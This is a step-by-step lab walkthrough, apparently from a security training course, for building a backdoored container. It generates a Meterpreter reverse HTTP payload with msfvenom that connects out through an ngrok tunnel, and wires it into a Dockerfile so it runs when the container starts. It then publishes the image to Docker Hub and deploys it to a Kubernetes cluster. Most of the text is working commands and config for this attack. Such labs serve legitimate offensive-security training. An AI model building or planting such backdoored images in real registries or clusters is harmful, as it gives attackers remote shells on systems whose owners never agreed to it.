Backdooring Containers

Create a backdoored container, which connects to your machine.

Requirements

- ngrok.io account
- Metasploit Framework
- Docker running on your machine

Steps

1. Create a ngrok account
2. Download ngrok to your machine and register the `authtoken`
3. Build Meterpreter payload that executes against your ngrok hostname
4. Run from your machine/VM
5. Build a container that executes the payload from within the container

Walkthrough

Ngrok setup

Setup an `ngrok` account by registering on their site, downloading the `ngrok` file and running:
`./ngrok authtoken <your authtoken>`

To test if ngrok is working correctly perform the following steps:
`ngrok http 9999`
In a new terminal run:
`python -m 'SimpleHTTPServer' 9999`

Now open your ngrok link, if all is well you see the directory listing of the directory where the python command is run from.

Close the python webserver but **KEEP NGROK RUNNING**.

Building the backdoor

For this we will use `meterpreter` and test it locally.

First we will build the backdoor using `msfvenom`.
Run the following command to create the payload, named `payload`:
`msfvenom -p linux/x86/meterpreter_reverse_http LHOST=<ngrok-hostname> LPORT=80 -f elf -o payload`

For the <`ngrok-hostname`> insert your hostname *WITHOUT* the http/https prefix, e.g. `random1234.ngrok.io`.
Make the payload executable: `chmod a+x ./payload`.

In a *new* shell open metasploit console as sudo (`sudo msfconsole`).
set the following:

```
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter_reverse_http
set LPORT 9999
set LHOST 0.0.0.0
exploit -j
```

To test the payload, in the original shell, run `./payload`.
This should create a new sessions in the `ngrok` terminal.
In metasploit, connect to the session and check if you can execute commands:

```
msf5> sessions -i 1

meterpreter> sysinfo
```

If all is well, you get the corresponding output of your system.

Now `exit` meterpreter and perform `ctrl`+C on the terminal running the payload.

Creating the container

To create the container, create a `Dockerfile` with the following contents:

```
FROM ubuntu:latest
RUN apt update -y && apt-get install curl wget -y
COPY payload /bin/payload
CMD ["/bin/payload"]
```

Build the image by running: `docker build -t bd-image .`
This will build the image, named `bd-image`.
NOTE It might be required to run docker as `sudo`. This depends on your local docker installation.

List the images on your system: `docker image ls`
Note the image ID and start the image: `docker run -it -d <image id>`

In the Metasploit terminal, a new session will connect.
If not, try running `exploit -j`.
List the sessions using `sessions -l` and connect using `sessions -i <session id>`.
If connected succesfully, running `sysinfo` in meterpreter will output the linux image information.

Clean up

To stop and remove the docker container, perform the following:

- List running containers: `docker ps -a`
- Stop container: `docker stop <container name>`
- Remove container: `docker container rm <container id>`

Troubleshooting

If the session does not directly connect when the image spins up, try exiting the Metasploit terminal and opening it again. Setting the following options:

```
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter_reverse_http
set LPORT 9999
set LHOST 0.0.0.0
exploit -j
```

Then spin up a new Docker container, using `sudo docker run -it <image ID> /bin/bash`.
This will start with a shell in the container.
If the session is not automatically created in metasploit, run `/bin/payload` in the container, this should initiate the payload directly.

Deploying to Kubernetes

Requirements

For this part you need a few additional things:

- DockerHub account (or any other public Docker repo, but you're on your own then)
- `kubectl` (https://kubernetes.io/docs/tasks/tools/install-kubectl/)
- Kubernetes cluster (will be deployed and provided for you during the course)

If you don't have a Kubernetes cluster somewhere, instructions are provided for creating one using AWS EKS.
For this you need:

- An Azure account with permissions to deploy an AKS resource
- Az CLI configured and installed on your local machine
- Deploy a 1-node AKS cluster using either the Azure Portal or with the following command:
  `az aks create --resource-group kube-deploy-lab --name kube-lab --node-count 1 --enable-addons monitoring --generate-ssh-keys`
  Note that you can use another resource group or cluster name.

Walkthrough

To deploy a backdoored container to Kubernetes, the image must be available from a public container repository.
One of the most common repositories is Dockerhub.

You need to:

1. Register an account with Dockerhub
2. Login on your local machine using `docker login`
3. Push the image to the repository

Run: `docker build -t <your username>/bd-image .`

Then push the image to the repository: `docker push <your username>/bd-image`

For the training, a Kubernetes cluster was deployed and prepared in Azure.
Please perform the following steps:

1. Ensure `az cli` is installed and configured
    1. run `az login` to sign in to your dev Azure account, created for this course
2. Check if `kubectl` is installed on your machine: `kubectl -h`. If not, please install true:
    1. (https://kubernetes.io/docs/tasks/tools/install-kubectl/)
    2. OR run `sudo az aks install-cli`
3. Get the `kubeconfig` file for the deployed cluster by running to following command:
   `az aks get-credentials --resource-group kube-deploy-lab --name kube-lab`.
   This should install the `kubeconfig` file for you.
4. Check cluster access with `kubectl get nodes`, you might need to sign in/verify you Azure account again.

Now access to the cluster is configured!

Now create a new namespace for you to deploy your container:
`kubectl create namespace [YOUR NAME]`

Paste the following in a file `deploy.yaml` (replace `[YOUR NAME]` and `<YOUR DOCKERHUB USERNAME>` with correct values!):

```
apiVersion: apps/v1
kind: Deployment
metadata:
  name: bb-demo
  namespace: [YOUR NAME]
spec:
  replicas: 1
  selector:
    matchLabels:
      bb: web
  template:
    metadata:
      labels:
        bb: web
    spec:
      containers:
      - name: bb-site
        image: <YOUR DOCKERHUB USERNAME>/bd-image
---
apiVersion: v1
kind: Service
metadata:
  name: bb-entrypoint
  namespace: [YOUR NAME]
spec:
  type: NodePort
  selector:
    bb: web
  ports:
  - port: 8080
    targetPort: 8080
```

Deploy this to a linked kubernetes cluster using `kubectl`:
`kubectl apply -f deploy.yaml`
If succesful, it should state:
`deployment.apps/bb-demo created service/bb-entrypoint created`

Once deployed, the payload should execute and connect to your mfsconsole.
If it does not directly create a session, restart the msfconsole or run `exploit -j`.

You can check the status of your container by issuing:
`kubectl get pods --namespace [your name]`

Clean up

To remove the deployment from the cluster, run the following command:
`kubectl delete -f deploy.yaml`

If you used your own cluster, don't forget to delete it!